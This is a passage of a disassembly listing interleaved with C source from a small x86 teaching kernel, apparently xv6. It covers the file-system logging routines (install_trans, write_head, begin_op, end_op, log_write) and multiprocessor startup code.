(%edx,%edx,4),%edx 80102958: 8d 04 50 lea (%eax,%edx,2),%eax 8010295b: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 8010295e: 8b 45 cc mov -0x34(%ebp),%eax 80102961: 89 c2 mov %eax,%edx 80102963: 83 e0 0f and $0xf,%eax 80102966: c1 ea 04 shr $0x4,%edx 80102969: 8d 14 92 lea (%edx,%edx,4),%edx 8010296c: 8d 04 50 lea (%eax,%edx,2),%eax 8010296f: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 80102972: 8b 75 08 mov 0x8(%ebp),%esi 80102975: 8b 45 b8 mov -0x48(%ebp),%eax 80102978: 89 06 mov %eax,(%esi) 8010297a: 8b 45 bc mov -0x44(%ebp),%eax 8010297d: 89 46 04 mov %eax,0x4(%esi) 80102980: 8b 45 c0 mov -0x40(%ebp),%eax 80102983: 89 46 08 mov %eax,0x8(%esi) 80102986: 8b 45 c4 mov -0x3c(%ebp),%eax 80102989: 89 46 0c mov %eax,0xc(%esi) 8010298c: 8b 45 c8 mov -0x38(%ebp),%eax 8010298f: 89 46 10 mov %eax,0x10(%esi) 80102992: 8b 45 cc mov -0x34(%ebp),%eax 80102995: 89 46 14 mov %eax,0x14(%esi) r->year += 2000; 80102998: 81 46 14 d0 07 00 00 addl $0x7d0,0x14(%esi) } 8010299f: 8d 65 f4 lea -0xc(%ebp),%esp 801029a2: 5b pop %ebx 801029a3: 5e pop %esi 801029a4: 5f pop %edi 801029a5: 5d pop %ebp 801029a6: c3 ret 801029a7: 66 90 xchg %ax,%ax 801029a9: 66 90 xchg %ax,%ax 801029ab: 66 90 xchg %ax,%ax 801029ad: 66 90 xchg %ax,%ax 801029af: 90 nop 801029b0 <install_trans>: static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 801029b0: 8b 0d e8 26 11 80 mov 0x801126e8,%ecx 801029b6: 85 c9 test %ecx,%ecx 801029b8: 0f 8e 85 00 00 00 jle 80102a43 <install_trans+0x93> } // Copy committed blocks from log to their home location static void install_trans(void) { 801029be: 55 push %ebp 801029bf: 89 e5 mov %esp,%ebp 801029c1: 57 push %edi 801029c2: 56 push %esi 801029c3: 53 push %ebx 801029c4: 31 db xor %ebx,%ebx 801029c6: 83 ec 0c sub $0xc,%esp 801029c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi int tail; for (tail = 0; tail < log.lh.n; tail++) { struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 801029d0: a1 d4 26 11 80 mov 0x801126d4,%eax 801029d5: 83 ec 08 sub $0x8,%esp 801029d8: 01 d8 add %ebx,%eax 801029da: 83 c0 01 add $0x1,%eax 801029dd: 50 push %eax 801029de: ff 35 e4 26 11 80 pushl 0x801126e4 801029e4: e8 e7 d6 ff ff call 801000d0 <bread> 801029e9: 89 c7 mov %eax,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029eb: 58 pop %eax 801029ec: 5a pop %edx 801029ed: ff 34 9d ec 26 11 80 pushl -0x7feed914(,%ebx,4) 801029f4: ff 35 e4 26 11 80 pushl 0x801126e4 static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 801029fa: 83 c3 01 add $0x1,%ebx struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029fd: e8 ce d6 ff ff call 801000d0 <bread> 80102a02: 89 c6 mov %eax,%esi memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 80102a04: 8d 47 5c lea 0x5c(%edi),%eax 80102a07: 83 c4 0c add $0xc,%esp 80102a0a: 68 00 02 00 00 push $0x200 80102a0f: 50 push %eax 80102a10: 8d 46 5c lea 0x5c(%esi),%eax 80102a13: 50 push %eax 80102a14: e8 d7 1a 00 00 call 801044f0 <memmove> bwrite(dbuf); // write dst to disk 80102a19: 89 34 24 mov %esi,(%esp) 80102a1c: e8 7f d7 ff ff call 801001a0 <bwrite> brelse(lbuf); 80102a21: 89 3c 24 mov %edi,(%esp) 80102a24: e8 b7 d7 ff ff call 801001e0 <brelse> brelse(dbuf); 80102a29: 89 34 24 mov %esi,(%esp) 80102a2c: e8 af d7 ff ff call 801001e0 <brelse> static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102a31: 83 c4 10 add $0x10,%esp 80102a34: 39 1d e8 26 11 80 cmp %ebx,0x801126e8 80102a3a: 7f 94 jg 801029d0 <install_trans+0x20> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst bwrite(dbuf); // write dst to disk brelse(lbuf); brelse(dbuf); } } 80102a3c: 8d 65 f4 lea -0xc(%ebp),%esp 80102a3f: 5b pop %ebx 80102a40: 5e pop %esi 80102a41: 5f pop %edi 80102a42: 5d pop %ebp 80102a43: f3 c3 repz ret 80102a45: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102a49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102a50 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80102a50: 55 push %ebp 80102a51: 89 e5 mov %esp,%ebp 80102a53: 53 push %ebx 80102a54: 83 ec 0c sub $0xc,%esp struct buf *buf = bread(log.dev, log.start); 80102a57: ff 35 d4 26 11 80 pushl 0x801126d4 80102a5d: ff 35 e4 26 11 80 pushl 0x801126e4 80102a63: e8 68 d6 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102a68: 8b 0d e8 26 11 80 mov 0x801126e8,%ecx for (i = 0; i < log.lh.n; i++) { 80102a6e: 83 c4 10 add $0x10,%esp // This is the true point at which the // current transaction commits. static void write_head(void) { struct buf *buf = bread(log.dev, log.start); 80102a71: 89 c3 mov %eax,%ebx struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; for (i = 0; i < log.lh.n; i++) { 80102a73: 85 c9 test %ecx,%ecx write_head(void) { struct buf *buf = bread(log.dev, log.start); struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102a75: 89 48 5c mov %ecx,0x5c(%eax) for (i = 0; i < log.lh.n; i++) { 80102a78: 7e 1f jle 80102a99 <write_head+0x49> 80102a7a: 8d 04 8d 00 00 00 00 lea 0x0(,%ecx,4),%eax 80102a81: 31 d2 xor %edx,%edx 80102a83: 90 nop 80102a84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi hb->block[i] = log.lh.block[i]; 80102a88: 8b 8a ec 26 11 80 mov -0x7feed914(%edx),%ecx 80102a8e: 89 4c 13 60 mov %ecx,0x60(%ebx,%edx,1) 80102a92: 83 c2 04 add $0x4,%edx { struct buf *buf = bread(log.dev, log.start); struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; for (i = 0; i < log.lh.n; i++) { 80102a95: 39 c2 cmp %eax,%edx 80102a97: 75 ef jne 80102a88 <write_head+0x38> hb->block[i] = log.lh.block[i]; } bwrite(buf); 80102a99: 83 ec 0c sub $0xc,%esp 80102a9c: 53 push %ebx 80102a9d: e8 fe d6 ff ff call 801001a0 <bwrite> brelse(buf); 80102aa2: 89 1c 24 mov %ebx,(%esp) 80102aa5: e8 36 d7 ff ff call 801001e0 <brelse> } 80102aaa: 8b 5d fc mov -0x4(%ebp),%ebx 80102aad: c9 leave 80102aae: c3 ret 80102aaf: 90 nop 80102ab0 <initlog>: static void recover_from_log(void); static void commit(); void initlog(int dev) { 80102ab0: 55 push %ebp 80102ab1: 89 e5 mov %esp,%ebp 80102ab3: 53 push %ebx 80102ab4: 83 ec 2c sub $0x2c,%esp 80102ab7: 8b 5d 08 mov 0x8(%ebp),%ebx if (sizeof(struct logheader) >= BSIZE) panic("initlog: too big logheader"); struct superblock sb; initlock(&log.lock, "log"); 80102aba: 68 c0 73 10 80 push $0x801073c0 80102abf: 68 a0 26 11 80 push $0x801126a0 80102ac4: e8 17 17 00 00 call 801041e0 <initlock> readsb(dev, &sb); 80102ac9: 58 pop %eax 80102aca: 8d 45 dc lea -0x24(%ebp),%eax 80102acd: 5a pop %edx 80102ace: 50 push %eax 80102acf: 53 push %ebx 80102ad0: e8 db e8 ff ff call 801013b0 <readsb> log.start = sb.logstart; log.size = sb.nlog; 80102ad5: 8b 55 e8 mov -0x18(%ebp),%edx panic("initlog: too big logheader"); struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; 80102ad8: 8b 45 ec mov -0x14(%ebp),%eax // Read the log header from disk into the in-memory log header static void read_head(void) { struct buf *buf = bread(log.dev, log.start); 80102adb: 59 pop %ecx struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; log.size = sb.nlog; log.dev = dev; 80102adc: 89 1d e4 26 11 80 mov %ebx,0x801126e4 struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; log.size = sb.nlog; 80102ae2: 89 15 d8 26 11 80 mov %edx,0x801126d8 panic("initlog: too big logheader"); struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; 80102ae8: a3 d4 26 11 80 mov %eax,0x801126d4 // Read the log header from disk into the in-memory log header static void read_head(void) { struct buf *buf = bread(log.dev, log.start); 80102aed: 5a pop %edx 80102aee: 50 push %eax 80102aef: 53 push %ebx 80102af0: e8 db d5 ff ff call 801000d0 <bread> struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; 80102af5: 8b 48 5c mov 0x5c(%eax),%ecx for (i = 0; i < log.lh.n; i++) { 80102af8: 83 c4 10 add $0x10,%esp 80102afb: 85 c9 test %ecx,%ecx read_head(void) { struct buf *buf = bread(log.dev, log.start); struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; 80102afd: 89 0d e8 26 11 80 mov %ecx,0x801126e8 for (i = 0; i < log.lh.n; i++) { 80102b03: 7e 1c jle 80102b21 <initlog+0x71> 80102b05: 8d 1c 8d 00 00 00 00 lea 0x0(,%ecx,4),%ebx 80102b0c: 31 d2 xor %edx,%edx 80102b0e: 66 90 xchg %ax,%ax log.lh.block[i] = lh->block[i]; 80102b10: 8b 4c 10 60 mov 0x60(%eax,%edx,1),%ecx 80102b14: 83 c2 04 add $0x4,%edx 80102b17: 89 8a e8 26 11 80 mov %ecx,-0x7feed918(%edx) { struct buf *buf = bread(log.dev, log.start); struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; for (i = 0; i < log.lh.n; i++) { 80102b1d: 39 da cmp %ebx,%edx 80102b1f: 75 ef jne 80102b10 <initlog+0x60> log.lh.block[i] = lh->block[i]; } brelse(buf); 80102b21: 83 ec 0c sub $0xc,%esp 80102b24: 50 push %eax 80102b25: e8 b6 d6 ff ff call 801001e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102b2a: e8 81 fe ff ff call 801029b0 <install_trans> log.lh.n = 0; 80102b2f: c7 05 e8 26 11 80 00 movl $0x0,0x801126e8 80102b36: 00 00 00 write_head(); // clear the log 80102b39: e8 12 ff ff ff call 80102a50 <write_head> readsb(dev, &sb); log.start = sb.logstart; log.size = sb.nlog; log.dev = dev; recover_from_log(); } 80102b3e: 8b 5d fc mov -0x4(%ebp),%ebx 80102b41: c9 leave 80102b42: c3 ret 80102b43: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102b49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102b50 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102b50: 55 push %ebp 80102b51: 89 e5 mov %esp,%ebp 80102b53: 83 ec 14 sub $0x14,%esp acquire(&log.lock); 80102b56: 68 a0 26 11 80 push $0x801126a0 80102b5b: e8 e0 17 00 00 call 80104340 <acquire> 80102b60: 83 c4 10 add $0x10,%esp 80102b63: eb 18 jmp 80102b7d <begin_op+0x2d> 80102b65: 8d 76 00 lea 0x0(%esi),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102b68: 83 ec 08 sub $0x8,%esp 80102b6b: 68 a0 26 11 80 push $0x801126a0 80102b70: 68 a0 26 11 80 push $0x801126a0 80102b75: e8 b6 11 00 00 call 80103d30 <sleep> 80102b7a: 83 c4 10 add $0x10,%esp void begin_op(void) { acquire(&log.lock); while(1){ if(log.committing){ 80102b7d: a1 e0 26 11 80 mov 0x801126e0,%eax 80102b82: 85 c0 test %eax,%eax 80102b84: 75 e2 jne 80102b68 <begin_op+0x18> sleep(&log, &log.lock); } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102b86: a1 dc 26 11 80 mov 0x801126dc,%eax 80102b8b: 8b 15 e8 26 11 80 mov 0x801126e8,%edx 80102b91: 83 c0 01 add $0x1,%eax 80102b94: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102b97: 8d 14 4a lea (%edx,%ecx,2),%edx 80102b9a: 83 fa 1e cmp $0x1e,%edx 80102b9d: 7f c9 jg 80102b68 <begin_op+0x18> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102b9f: 83 ec 0c sub $0xc,%esp sleep(&log, &log.lock); } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; 80102ba2: a3 dc 26 11 80 mov %eax,0x801126dc release(&log.lock); 80102ba7: 68 a0 26 11 80 push $0x801126a0 80102bac: e8 3f 18 00 00 call 801043f0 <release> break; } } } 80102bb1: 83 c4 10 add $0x10,%esp 80102bb4: c9 leave 80102bb5: c3 ret 80102bb6: 8d 76 00 lea 0x0(%esi),%esi 80102bb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102bc0 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102bc0: 55 push %ebp 80102bc1: 89 e5 mov %esp,%ebp 80102bc3: 57 push %edi 80102bc4: 56 push %esi 80102bc5: 53 push %ebx 80102bc6: 83 ec 18 sub $0x18,%esp int do_commit = 0; acquire(&log.lock); 80102bc9: 68 a0 26 11 80 push $0x801126a0 80102bce: e8 6d 17 00 00 call 80104340 <acquire> log.outstanding -= 1; 80102bd3: a1 dc 26 11 80 mov 0x801126dc,%eax if(log.committing) 80102bd8: 8b 1d e0 26 11 80 mov 0x801126e0,%ebx 80102bde: 83 c4 10 add $0x10,%esp end_op(void) { int do_commit = 0; acquire(&log.lock); log.outstanding -= 1; 80102be1: 83 e8 01 sub $0x1,%eax if(log.committing) 80102be4: 85 db test %ebx,%ebx end_op(void) { int do_commit = 0; acquire(&log.lock); log.outstanding -= 1; 80102be6: a3 dc 26 11 80 mov %eax,0x801126dc if(log.committing) 80102beb: 0f 85 23 01 00 00 jne 80102d14 <end_op+0x154> panic("log.committing"); if(log.outstanding == 0){ 80102bf1: 85 c0 test %eax,%eax 80102bf3: 0f 85 f7 00 00 00 jne 80102cf0 <end_op+0x130> // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102bf9: 83 ec 0c sub $0xc,%esp log.outstanding -= 1; if(log.committing) panic("log.committing"); if(log.outstanding == 0){ do_commit = 1; log.committing = 1; 80102bfc: c7 05 e0 26 11 80 01 movl $0x1,0x801126e0 80102c03: 00 00 00 } static void commit() { if (log.lh.n > 0) { 80102c06: 31 db xor %ebx,%ebx // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102c08: 68 a0 26 11 80 push $0x801126a0 80102c0d: e8 de 17 00 00 call 801043f0 <release> } static void commit() { if (log.lh.n > 0) { 80102c12: 8b 0d e8 26 11 80 mov 0x801126e8,%ecx 80102c18: 83 c4 10 add $0x10,%esp 80102c1b: 85 c9 test %ecx,%ecx 80102c1d: 0f 8e 8a 00 00 00 jle 80102cad <end_op+0xed> 80102c23: 90 nop 80102c24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102c28: a1 d4 26 11 80 mov 0x801126d4,%eax 80102c2d: 83 ec 08 sub $0x8,%esp 80102c30: 01 d8 add %ebx,%eax 80102c32: 83 c0 01 add $0x1,%eax 80102c35: 50 push %eax 80102c36: ff 35 e4 26 11 80 pushl 0x801126e4 80102c3c: e8 8f d4 ff ff call 801000d0 <bread> 80102c41: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c43: 58 pop %eax 80102c44: 5a pop %edx 80102c45: ff 34 9d ec 26 11 80 pushl -0x7feed914(,%ebx,4) 80102c4c: ff 35 e4 26 11 80 pushl 0x801126e4 static void write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102c52: 83 c3 01 add $0x1,%ebx struct buf *to = bread(log.dev, log.start+tail+1); // log block struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c55: e8 76 d4 ff ff call 801000d0 <bread> 80102c5a: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102c5c: 8d 40 5c lea 0x5c(%eax),%eax 80102c5f: 83 c4 0c add $0xc,%esp 80102c62: 68 00 02 00 00 push $0x200 80102c67: 50 push %eax 80102c68: 8d 46 5c lea 0x5c(%esi),%eax 80102c6b: 50 push %eax 80102c6c: e8 7f 18 00 00 call 801044f0 <memmove> bwrite(to); // write the log 80102c71: 89 34 24 mov %esi,(%esp) 80102c74: e8 27 d5 ff ff call 801001a0 <bwrite> brelse(from); 80102c79: 89 3c 24 mov %edi,(%esp) 80102c7c: e8 5f d5 ff ff call 801001e0 <brelse> brelse(to); 80102c81: 89 34 24 mov %esi,(%esp) 80102c84: e8 57 d5 ff ff call 801001e0 <brelse> static void write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102c89: 83 c4 10 add $0x10,%esp 80102c8c: 3b 1d e8 26 11 80 cmp 0x801126e8,%ebx 80102c92: 7c 94 jl 80102c28 <end_op+0x68> static void commit() { if (log.lh.n > 0) { write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102c94: e8 b7 fd ff ff call 80102a50 <write_head> install_trans(); // Now install writes to home locations 80102c99: e8 12 fd ff ff call 801029b0 <install_trans> log.lh.n = 0; 80102c9e: c7 05 e8 26 11 80 00 movl $0x0,0x801126e8 80102ca5: 00 00 00 write_head(); // Erase the transaction from the log 80102ca8: e8 a3 fd ff ff call 80102a50 <write_head> if(do_commit){ // call commit w/o holding locks, since not allowed // to sleep with locks. commit(); acquire(&log.lock); 80102cad: 83 ec 0c sub $0xc,%esp 80102cb0: 68 a0 26 11 80 push $0x801126a0 80102cb5: e8 86 16 00 00 call 80104340 <acquire> log.committing = 0; wakeup(&log); 80102cba: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp) if(do_commit){ // call commit w/o holding locks, since not allowed // to sleep with locks. commit(); acquire(&log.lock); log.committing = 0; 80102cc1: c7 05 e0 26 11 80 00 movl $0x0,0x801126e0 80102cc8: 00 00 00 wakeup(&log); 80102ccb: e8 10 12 00 00 call 80103ee0 <wakeup> release(&log.lock); 80102cd0: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp) 80102cd7: e8 14 17 00 00 call 801043f0 <release> 80102cdc: 83 c4 10 add $0x10,%esp } } 80102cdf: 8d 65 f4 lea -0xc(%ebp),%esp 80102ce2: 5b pop %ebx 80102ce3: 5e pop %esi 80102ce4: 5f pop %edi 80102ce5: 5d pop %ebp 80102ce6: c3 ret 80102ce7: 89 f6 mov %esi,%esi 80102ce9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi log.committing = 1; } else { // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); 80102cf0: 83 ec 0c sub $0xc,%esp 80102cf3: 68 a0 26 11 80 push $0x801126a0 80102cf8: e8 e3 11 00 00 call 80103ee0 <wakeup> } release(&log.lock); 80102cfd: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp) 80102d04: e8 e7 16 00 00 call 801043f0 <release> 80102d09: 83 c4 10 add $0x10,%esp acquire(&log.lock); log.committing = 0; wakeup(&log); release(&log.lock); } } 80102d0c: 8d 65 f4 lea -0xc(%ebp),%esp 80102d0f: 5b pop %ebx 80102d10: 5e pop %esi 80102d11: 5f pop %edi 80102d12: 5d pop %ebp 80102d13: c3 ret int do_commit = 0; acquire(&log.lock); log.outstanding -= 1; if(log.committing) panic("log.committing"); 80102d14: 83 ec 0c sub $0xc,%esp 80102d17: 68 c4 73 10 80 push $0x801073c4 80102d1c: e8 4f d6 ff ff call 80100370 <panic> 80102d21: eb 0d jmp 80102d30 <log_write> 80102d23: 90 nop 80102d24: 90 nop 80102d25: 90 nop 80102d26: 90 nop 80102d27: 90 nop 80102d28: 90 nop 80102d29: 90 nop 80102d2a: 90 nop 80102d2b: 90 nop 80102d2c: 90 nop 80102d2d: 90 nop 80102d2e: 90 nop 80102d2f: 90 nop 80102d30 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102d30: 55 push %ebp 80102d31: 89 e5 mov %esp,%ebp 80102d33: 53 push %ebx 80102d34: 83 ec 04 sub $0x4,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102d37: 8b 15 e8 26 11 80 mov 0x801126e8,%edx // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102d3d: 8b 5d 08 mov 0x8(%ebp),%ebx int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102d40: 83 fa 1d cmp $0x1d,%edx 80102d43: 0f 8f 97 00 00 00 jg 80102de0 <log_write+0xb0> 80102d49: a1 d8 26 11 80 mov 0x801126d8,%eax 80102d4e: 83 e8 01 sub $0x1,%eax 80102d51: 39 c2 cmp %eax,%edx 80102d53: 0f 8d 87 00 00 00 jge 80102de0 <log_write+0xb0> panic("too big a transaction"); if (log.outstanding < 1) 80102d59: a1 dc 26 11 80 mov 0x801126dc,%eax 80102d5e: 85 c0 test %eax,%eax 80102d60: 0f 8e 87 00 00 00 jle 80102ded <log_write+0xbd> panic("log_write outside of trans"); acquire(&log.lock); 80102d66: 83 ec 0c sub $0xc,%esp 80102d69: 68 a0 26 11 80 push $0x801126a0 80102d6e: e8 cd 15 00 00 call 80104340 <acquire> for (i = 0; i < log.lh.n; i++) { 80102d73: 8b 15 e8 26 11 80 mov 0x801126e8,%edx 80102d79: 83 c4 10 add $0x10,%esp 80102d7c: 83 fa 00 cmp $0x0,%edx 80102d7f: 7e 50 jle 80102dd1 <log_write+0xa1> if (log.lh.block[i] == b->blockno) // log absorbtion 80102d81: 8b 4b 08 mov 0x8(%ebx),%ecx panic("too big a transaction"); if (log.outstanding < 1) panic("log_write outside of trans"); acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { 80102d84: 31 c0 xor %eax,%eax if (log.lh.block[i] == b->blockno) // log absorbtion 80102d86: 3b 0d ec 26 11 80 cmp 0x801126ec,%ecx 80102d8c: 75 0b jne 80102d99 <log_write+0x69> 80102d8e: eb 38 jmp 80102dc8 <log_write+0x98> 80102d90: 39 0c 85 ec 26 11 80 cmp %ecx,-0x7feed914(,%eax,4) 80102d97: 74 2f je 80102dc8 <log_write+0x98> panic("too big a transaction"); if (log.outstanding < 1) panic("log_write outside of trans"); acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { 80102d99: 83 c0 01 add $0x1,%eax 80102d9c: 39 d0 cmp %edx,%eax 80102d9e: 75 f0 jne 80102d90 <log_write+0x60> if (log.lh.block[i] == b->blockno) // log absorbtion break; } log.lh.block[i] = b->blockno; 80102da0: 89 0c 95 ec 26 11 80 mov %ecx,-0x7feed914(,%edx,4) if (i == log.lh.n) log.lh.n++; 80102da7: 83 c2 01 add $0x1,%edx 80102daa: 89 15 e8 26 11 80 mov %edx,0x801126e8 b->flags |= B_DIRTY; // prevent eviction 80102db0: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); 80102db3: c7 45 08 a0 26 11 80 movl $0x801126a0,0x8(%ebp) } 80102dba: 8b 5d fc mov -0x4(%ebp),%ebx 80102dbd: c9 leave } log.lh.block[i] = b->blockno; if (i == log.lh.n) log.lh.n++; b->flags |= B_DIRTY; // prevent eviction release(&log.lock); 80102dbe: e9 2d 16 00 00 jmp 801043f0 <release> 80102dc3: 90 nop 80102dc4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { if (log.lh.block[i] == b->blockno) // log absorbtion break; } log.lh.block[i] = b->blockno; 80102dc8: 89 0c 85 ec 26 11 80 mov %ecx,-0x7feed914(,%eax,4) 80102dcf: eb df jmp 80102db0 <log_write+0x80> 80102dd1: 8b 43 08 mov 0x8(%ebx),%eax 80102dd4: a3 ec 26 11 80 mov %eax,0x801126ec if (i == log.lh.n) 80102dd9: 75 d5 jne 80102db0 <log_write+0x80> 80102ddb: eb ca jmp 80102da7 <log_write+0x77> 80102ddd: 8d 76 00 lea 0x0(%esi),%esi log_write(struct buf *b) { int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) panic("too big a transaction"); 80102de0: 83 ec 0c sub $0xc,%esp 80102de3: 68 d3 73 10 80 push $0x801073d3 80102de8: e8 83 d5 ff ff call 80100370 <panic> if (log.outstanding < 1) panic("log_write outside of trans"); 80102ded: 83 ec 0c sub $0xc,%esp 80102df0: 68 e9 73 10 80 push $0x801073e9 80102df5: e8 76 d5 ff ff call 80100370 <panic> 80102dfa: 66 90 xchg %ax,%ax 80102dfc: 66 90 xchg %ax,%ax 80102dfe: 66 90 xchg %ax,%ax 80102e00 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102e00: 55 push %ebp 80102e01: 89 e5 mov %esp,%ebp 80102e03: 53 push %ebx 80102e04: 83 ec 04 sub $0x4,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102e07: e8 54 09 00 00 call 80103760 <cpuid> 80102e0c: 89 c3 mov %eax,%ebx 80102e0e: e8 4d 09 00 00 call 80103760 <cpuid> 80102e13: 83 ec 04 sub $0x4,%esp 80102e16: 53 push %ebx 80102e17: 50 push %eax 80102e18: 68 04 74 10 80 push $0x80107404 80102e1d: e8 3e d8 ff ff call 80100660 <cprintf> idtinit(); // load idt register 80102e22: e8 09 29 00 00 call 80105730 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80102e27: e8 b4 08 00 00 call 801036e0 <mycpu> 80102e2c: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80102e2e: b8 01 00 00 00 mov $0x1,%eax 80102e33: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 80102e3a: e8 01 0c 00 00 call 80103a40 <scheduler> 80102e3f: 90 nop 80102e40 <mpenter>: } // Other CPUs jump here from entryother.S. static void mpenter(void) { 80102e40: 55 push %ebp 80102e41: 89 e5 mov %esp,%ebp 80102e43: 83 ec 08 sub $0x8,%esp switchkvm(); 80102e46: e8 05 3a 00 00 call 80106850 <switchkvm> seginit(); 80102e4b: e8 00 39 00 00 call 80106750 <seginit> lapicinit(); 80102e50: e8 9b f7 ff ff call 801025f0 <lapicinit> mpmain(); 80102e55: e8 a6 ff ff ff call 80102e00 <mpmain> 80102e5a: 66 90 xchg %ax,%ax 80102e5c: 66 90 xchg %ax,%ax 80102e5e: 66 90 xchg %ax,%ax 80102e60 <main>: // Bootstrap processor starts running C code here. // Allocate a real stack and switch to it, first // doing some setup required for memory allocator to work. int main(void) { 80102e60: 8d 4c 24 04 lea 0x4(%esp),%ecx 80102e64: 83 e4 f0 and $0xfffffff0,%esp 80102e67: ff 71 fc pushl -0x4(%ecx) 80102e6a: 55 push %ebp 80102e6b: 89 e5 mov %esp,%ebp 80102e6d: 53 push %ebx 80102e6e: 51 push %ecx // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80102e6f: bb a0 27 11 80 mov $0x801127a0,%ebx // Allocate a real stack and switch to it, first // doing some setup required for memory allocator to work. int main(void) { kinit1(end, P2V(4*1024*1024)); // phys page allocator 80102e74: 83 ec 08 sub $0x8,%esp 80102e77: 68 00 00 40 80 push $0x80400000 80102e7c: 68 c8 54 11 80 push $0x801154c8 80102e81: e8 3a f5 ff ff call 801023c0 <kinit1> kvmalloc(); // kernel page table 80102e86: e8 65 3e 00 00 call 80106cf0 <kvmalloc> mpinit(); // detect other processors 80102e8b: e8 70 01 00 00 call 80103000 <mpinit> lapicinit(); // interrupt controller 80102e90: e8 5b f7 ff ff call 801025f0 <lapicinit> seginit(); // segment descriptors 80102e95: e8 b6 38 00 00 call 80106750 <seginit> picinit(); // disable pic 80102e9a: e8 31 03 00 00 call 801031d0 <picinit> ioapicinit(); // another interrupt controller 80102e9f: e8 4c f3 ff ff call 801021f0 <ioapicinit> consoleinit(); // console hardware 80102ea4: e8 f7 da ff ff call 801009a0 <consoleinit> uartinit(); // serial port 80102ea9: e8 72 2b 00 00 call 80105a20 <uartinit> pinit(); // process table 80102eae: e8 0d 08 00 00 call 801036c0 <pinit> tvinit(); // trap vectors 80102eb3: e8 d8 27 00 00 call 80105690 <tvinit> binit(); // buffer cache 